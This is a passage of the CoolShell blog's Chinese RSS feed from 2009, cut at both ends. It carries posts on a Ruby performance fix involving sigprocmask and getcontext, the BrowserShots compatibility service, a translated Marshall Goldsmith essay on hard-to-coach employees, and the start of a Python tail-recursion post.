[Customer]-(Logout)\" alt=\"\" /></p>\n<p style=\"text-align: left;\">还是挺不错的吧，呵呵。大家可以上去试试。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3609.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"那些炒作过度的技术和概念\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3609.html\" class=\"wp_rp_title\">那些炒作过度的技术和概念</a></li><li ><a href=\"https://coolshell.cn/articles/2296.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/04/googleOnebox-150x150.png\" alt=\"Google居然在阻止人们自杀？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2296.html\" class=\"wp_rp_title\">Google居然在阻止人们自杀？</a></li><li ><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" alt=\"程序员眼中的编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_title\">程序员眼中的编程语言</a></li><li ><a href=\"https://coolshell.cn/articles/8489.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/google-go-language-150x150.jpg\" alt=\"Go 语言简介（下）— 特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8489.html\" class=\"wp_rp_title\">Go 语言简介（下）— 特性</a></li><li ><a href=\"https://coolshell.cn/articles/1283.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"Linux基金会的广告\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1283.html\" class=\"wp_rp_title\">Linux基金会的广告</a></li><li ><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" alt=\"编程语言汽车\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_title\">编程语言汽车</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/776.html\">一个在线的画UML图的网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/776.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>让Ruby增加30%的性能改进</title>\n\t\t<link>https://coolshell.cn/articles/766.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/766.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 05 May 2009 15:44:55 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Ruby]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=766</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>一切都和 --enable-pthread 有关 问一下 Ruby 黑客怎么简单地增加一个线程的Ruby应用程序的性能。也许，这些黑客会告诉你，“小伙，每个人都...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/766.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/766.html\">让Ruby增加30%的性能改进</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<h4>一切都和 <code>--enable-pthread</code> 有关</h4>\n<p>问一下 Ruby 黑客怎么简单地增加一个线程的Ruby应用程序的性能。也许，这些黑客会告诉你，“<strong>小伙，每个人都知道在编译Ruby的时候你需要使用<code>configure</code> 的 <code>--disable-pthread</code>参数</strong>”。没错，在<code>configure</code> <code>--disable-pthread</code> 可以让你得到大约 30% 性能提高。但是，这是为什么呢？</p>\n<p>所有的这一些我们需要使用 <a href=\"http://timetobleed.com/hello-world/\">strace</a> 工具，这个工具可以打出所有的真实的操作系统的调用。</p>\n<p>下面，是一段我们测试的例程：</p>\n<p><span id=\"more-766\"></span></p>\n<pre data-enlighter-language=\"ruby\" class=\"EnlighterJSRAW\">\ndef make_thread\n  Thread.new {\n    a = []\n    10_000_000.times {\n      a &lt;&lt; &quot;a&quot;\n      a.pop\n    }\n  }\nend\n\nt = make_thread\nt1 = make_thread\n\nt.join\nt1.join\n</pre>\n<p>如果我们使用 <code>strace</code> 工具去测试 <code>configure</code> <code>--enable-pthread</code> 版本的Ruby引擎，那么我们可以得到下面这样的结果：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n22:46:16.706136 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000004&gt;\n22:46:16.706177 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000004&gt;\n22:46:16.706218 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000004&gt;\n22:46:16.706259 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000005&gt;\n22:46:16.706301 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000004&gt;\n22:46:16.706342 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000004&gt;\n22:46:16.706383 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000004&gt;\n</pre>\n<p>你会发现上面的sigprocmask 系统调用一页一页又一页地没完没了的。如果你用 <code>strace -c，你会发现</code>一共大约<strong>20,054,180</strong> 个<code>sigprocmask系统调用<span style=\"font-family: Georgia;\">。但是，如果你是在</span></code><code>--disable-pthread</code> 的Ruby版本下运行，你会发现根本没有那么多的<code>sigprocmask</code> 系统调用（只有 <strong>3</strong> 次，简直就是<strong>天壤之别</strong>）</p>\n<h4>查看一下源代码</h4>\n<p>我们知道 <code>configure</code> 是一个脚本，其主要用来创建一个 <code>config.h</code> 文件，其中有一大堆宏定义 <code>define</code>s ，这些宏定义决定了使用什么样的函数。所以，让我们来比较一下版本 <code>./configure --enable-pthread</code> 和版本<code>./configure --disable-pthread的不同之处吧。</code></p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"6,7\">\n$ diff config.h config.h.pthread\n&gt; #define _REENTRANT 1\n&gt; #define _THREAD_SAFE 1\n&gt; #define HAVE_LIBPTHREAD 1\n&gt; #define HAVE_NANOSLEEP 1\n&gt; #define HAVE_GETCONTEXT 1\n&gt; #define HAVE_SETCONTEXT 1\n</pre>\n<p>好的，现在我们再 <code>grep</code> 一下Ruby的源代码，我们可以看到只要<code>HAVE_[S/G]ETCONTEXT</code> 被设置了，Ruby 就会调用<code>setcontext()</code> 和<code>getcontext()</code> 这两个系统调用来存取context 的状态，以便异常处理时的切换（通过<code>EXEC_TAG）。</code></p>\n<p>而如果 <code>HAVE_[S/G]ETCONTEXT</code> <strong>没有被定义</strong> <code>的情况下，</code>Ruby 会使用 <code>_setjmp/_longjmp这两个系统调用。</code></p>\n<div><code>我们来看看 <code>_setjmp/_longjmp</code> 的man page:</code></div>\n<blockquote><p>… The _longjmp() and _setjmp() functions shall be equivalent to longjmp() and setjmp(), respectively, with the additional restriction that _longjmp() and _setjmp() shall not manipulate the signal mask…</p></blockquote>\n<p>还有<code>setcontext /getcontext的</code> man page:</p>\n<blockquote><p>… uc_sigmask is the set of signals blocked in this context (see sigprocmask(2)) …</p></blockquote>\n<p>我们可以看到 <code>getcontext</code> 调用每次都要调用<code>sigprocmask</code> 但是<code>_setjmp</code> 不会。</p>\n<h4>补丁</h4>\n<p>请点击 <strong><a href=\"http://github.com/ice799/matzruby/commit/0b9b69f9653782a33aee2b8937d405eae245b60c\" target=\"_blank\">这里</a></strong>获取补丁</p>\n<p>这个补丁增加了一个configure 的参数 <code>--disable-ucontext</code> 其可以让你关闭使用 <code>setcontext或getcontext，你只需要像如下方式使用就好了。</code></p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n./configure --disable-ucontext --enable-pthread\n</pre>\n<p>如果你以这种方式编译Ruby，那么，你的程序的性能在同等条件下可能会有30%左右的提升。</p>\n<p>文章：<a href=\"http://timetobleed.com/fix-a-bug-in-rubys-configurein-and-get-a-30-performance-boost/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\" alt=\"ETCD的内存问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_title\">ETCD的内存问题</a></li><li ><a href=\"https://coolshell.cn/articles/17381.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/PerfTest-150x150.png\" alt=\"性能测试应该怎么做？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17381.html\" class=\"wp_rp_title\">性能测试应该怎么做？</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/10910.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/01/trade-off-150x150.jpg\" alt=\"分布式系统的事务处理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10910.html\" class=\"wp_rp_title\">分布式系统的事务处理</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/766.html\">让Ruby增加30%的性能改进</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/766.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何检查网页浏览器的兼容性</title>\n\t\t<link>https://coolshell.cn/articles/757.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/757.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 04 May 2009 06:57:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Browser]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=757</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>BrowserShots.org 是一个很不错的在线服务，它主要帮助你检查一下你所设计网站是否兼容所有的浏览器。其目前支持四个操作系统：Linux, Windo...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/757.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/757.html\">如何检查网页浏览器的兼容性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://browsershots.org/\" target=\"_blank\">BrowserShots.org</a> 是一个很不错的在线服务，它主要帮助你检查一下你所设计网站是否兼容所有的浏览器。其目前支持四个操作系统：Linux, Windows, MacOS和BSD。浏览器支持的就多了：包括MSIE，Firefox，Chrome，Safari，Opera，Dillo，SeaMonkey，Navigator等等浏览器的不同版本。</p>\n<p>使用这个在线服务其实很简单，只需要输入你的网址，并勾选一下各种浏览器。当然，你还可以指定分辨率，色彩度，Javascript，Java和Flash的版本。然后，这个网站会利用虚拟机的技术，启动操作系统然后运行相应的浏览器访问你的网站，并把图抓下来上传到你可以访问的位置以例提供你下载。</p>\n<p>需要注意的是，如果你选中了太多的浏览器，可能整个速度就有些慢了，而系统设置是30分钟过期，而可能有很多浏览器的任务却高于这个时间。所以，你需要过会就去点击一下“Extend”按钮，以告诉系统延长过期时间。</p>\n<p>下面是“酷壳”的一些抓图链接如下：<br />\n<a href=\"http://browsershots.org/https://coolshell.cn/\">http://browsershots.org/https://coolshell.cn/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/757.html\">如何检查网页浏览器的兼容性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/757.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>39</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>不要拯救那些职场上的“无可救药”</title>\n\t\t<link>https://coolshell.cn/articles/753.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/753.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Sun, 03 May 2009 10:06:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=753</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>此文来自Marshall Goldsmith的博客，此人曾任Peter Drucker Foundation 的Board  member（实在不知道怎么翻译）...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/753.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/753.html\">不要拯救那些职场上的“无可救药”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://www.marshallgoldsmithlibrary.com/blog/2009/05/02/spotting-the-uncoachables/\">此文</a>来自Marshall Goldsmith的<a href=\"http://www.marshallgoldsmithlibrary.com/blog/\">博客</a>，此人曾任Peter Drucker Foundation 的Board  member（实在不知道怎么翻译），49年出生，生平中是一系列管理学方面的成就，是一位罕见的高产的，大师型的博主。</p>\n<p>显然，我所翻译的标题有些夸张（原标题是“spotting the uncoachables”）。</p>\n<p>职场上除了职位所确立的关系之外，还有一种重要的关系，那就是“师徒关系”。如果幸运，大家会遇到有人愿意 coach 自己，给自己传递技能或者指点职场之道。等我们在一个地方呆久了，也会有时候 coach 一些新入道的同事，甚至有时候为了达到团队目的，需要用自己的经验和技能影响自己的同僚。</p>\n<p>此文提到的了4种很难coach的情形，大家可以拿来参考。但是这并不代表我们遇到觉得“朽木不可雕也”的人的时候就应该彻底放弃。如果我们无可避免的需要影响他们的行为，我们需要更有技巧的选择自己的方式。</p>\n<p><span id=\"more-753\"></span></p>\n<p><strong>四类不可coach的人：</strong></p>\n<ol>\n<li>自己并没意识到有任何问题的人</li>\n<li>其努力方向和公司战略相左的人</li>\n<li>入错行的人（也许我们应该引导他们去发现自己才能所属的领域）</li>\n<li>怨天尤人的人（老认为别人有问题的人）</li>\n</ol>\n<p>祝好</p>\n<blockquote><p>原文：</p>\n<h2><a title=\"Permanent Link: Spotting the “Uncoachables”\" rel=\"bookmark\" href=\"http://www.marshallgoldsmithlibrary.com/blog/2009/05/02/spotting-the-uncoachables/\">Spotting the “Uncoachables”</a></h2>\n<div class=\"entry\">\n<p>Even if you are the best coach in the world, if the person you are coaching shouldn’t be coached, the coaching isn’t going to work. The good news is that the “uncoachables” are easier than you think to spot. How do you know when someone is uncoachable? How do you detect a lost cause? Following are four indicators that you are dealing with one of these people:</p>\n<p><strong>1. She doesn’t think she has a problem</strong>.</p>\n<p>This successful adult has no interest in changing. Her behavior is working fine for her. If she doesn’t care to change, you are wasting your time! Let me give you an example of a nice woman who didn’t think she had a problem. My mother, a lovely woman and much-admired first-grade teacher, was so dedicated to her craft that she didn’t draw the line between inside and outside the classroom. She talked to all of us, including my father, in the same slow, patient manner, using the same simple vocabulary that she used with her six-year-olds every day. One day as she graciously and methodically corrected his grammar for the millionth time, he looked at her, sighed, and said, “Honey, I’m 70 years old. Let it go.” My father had absolutely no interest in changing. He didn’t perceive a problem. So no matter how much, how hard, or how diligently she coached, he wasn’t going to change.</p>\n<p><strong>2. He is pursuing the wrong strategy for the organization</strong>.</p>\n<p>If this guy is already going in the wrong direction, all you’re going to do with your coaching is help him get there faster.</p>\n<p><strong>3. They’re in the wrong job</strong>.</p>\n<p>Sometimes people feel that they’re in the wrong job with the wrong company. They may believe they’re meant to be doing something else or that their skills are being misused. Here’s a good way to determine if you’re working with one of these people. Ask them, “If we shut down the company today, would you be relieved, surprised, or sad?” If you hear ‘relieved,’ you’ve got yourself a live one. Send them packing. You can’t change the behavior of unhappy people so that they become happy: You can only fix behavior that’s making people around them unhappy.</p>\n<p><strong>4. They think everyone else is the problem</strong>.</p>\n<p>A long time ago I had a client who, after a few high-profile employee departures, was concerned about employee morale. He had a fun, successful company and people liked the work, but feedback said that the boss played favorites in the way he compensated people. When I reported this feedback to my client, he completely surprised me. He said he agreed with the charge and thought he was right to do so. First off, I’m not a compensation strategist and so I wasn’t equipped to deal with this problem, but then he surprised me again. He hadn’t called me to help him change; he wanted me to fix his employees. It’s times like these that I find the nearest exit. It’s hard to help people who don’t think they have a problem. It’s impossible to fix people who think someone else is the problem.</p>\n<p>My suggestion in cases like these? Save time, skip the heroic measures, and move on. These are arguments you can’t ever win.</p>\n</div>\n<p>Life is good.<br />\nMarshall</p></blockquote>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5292.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"弱爆程序员的特征值\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5292.html\" class=\"wp_rp_title\">弱爆程序员的特征值</a></li><li ><a href=\"https://coolshell.cn/articles/7.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/1-150x150.png\" alt=\"你应该知道的20个Ajax技术(01-10)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7.html\" class=\"wp_rp_title\">你应该知道的20个Ajax技术(01-10)</a></li><li ><a href=\"https://coolshell.cn/articles/1693.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"给我一个序列号\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1693.html\" class=\"wp_rp_title\">给我一个序列号</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/4334.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/1_starting_point_full-150x150.jpg\" alt=\"Eclipse开发Android应用程序入门:重装上阵\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4334.html\" class=\"wp_rp_title\">Eclipse开发Android应用程序入门:重装上阵</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/753.html\">不要拯救那些职场上的“无可救药”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/753.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>某Python实现的尾部递归</title>\n\t\t<link>https://coolshell.cn/articles/737.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/737.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Thu, 30 Apr 2009 00:22:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=737</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>mailper 在2009年4月26的文章里《Guido认为程序员大多数工作不需要递归》谈及递归不是编程的基础。并且在python中并没有实现尾部递归Tail ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/737.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/737.html\">某Python实现的尾部递归</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/?author=3\">mailper</a> 在2009年4月26的文章里《<a class=\"title\" rel=\"bookmark\" href=\"../?p=694\">Guido认为程序员大多数工作不需要递归</a>》谈及递归不是编程的基础。并且在python中并没有实现尾部递归Tail Recurssion。</p>\n<p>但是，今天我们却看见了某Python实现的尾部递归</p>\n<p><span id=\"more-737\"></span></p>\n<p><a href=\"https://coolshell.cn/?attachment_id=738\" rel=\"attachment wp-att-738\"><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/snake.jpg\" alt=\"snake\" title=\"snake\" width=\"420\" height=\"340\" class=\"aligncenter size-full wp-image-738\" 